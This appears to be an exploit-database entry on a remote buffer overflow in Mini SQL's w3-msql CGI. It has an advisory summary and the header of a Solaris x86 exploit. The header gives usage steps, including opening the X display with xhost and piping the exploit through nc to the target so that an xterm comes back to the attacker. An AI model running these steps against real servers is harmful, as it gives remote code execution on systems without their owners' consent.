Hughes Technologies Mini SQL (mSQL) 2.0.11 w3-msql Buffer Overflow

                                                source: http://www.securityfocus.com/bid/898/info

w3-msql is a cgi-program shipped with Mini-SQL which acts as a web interface for msql. There are a number of buffer overflow vulnerabilities in it with one proven to be exploitable. The exploitable buffer is the content-length field and the stack is overflowed inside of a scanf() call. As a result, it is possible to execute arbitrary code remotely as the uid of the webserver (usually nobody).

 * Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
 *
 * Platform: Solaris x86
 *           Feel free to port it to other arquitectures, if you can...
 *           If so mail me plz.
 *
 * By: Zhodiac <[email protected]>
 *
 * Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
 *        2) xhost +<target_ip>
 *        3) ./w3-msql-xploit <target> <display> | nc <target> <http_port>
 *        4) Take a cup of cofee, some kind of drug or wathever
 *           estimulates you at hacking time... while the xterm is comming
 *           or while you are getting raided.
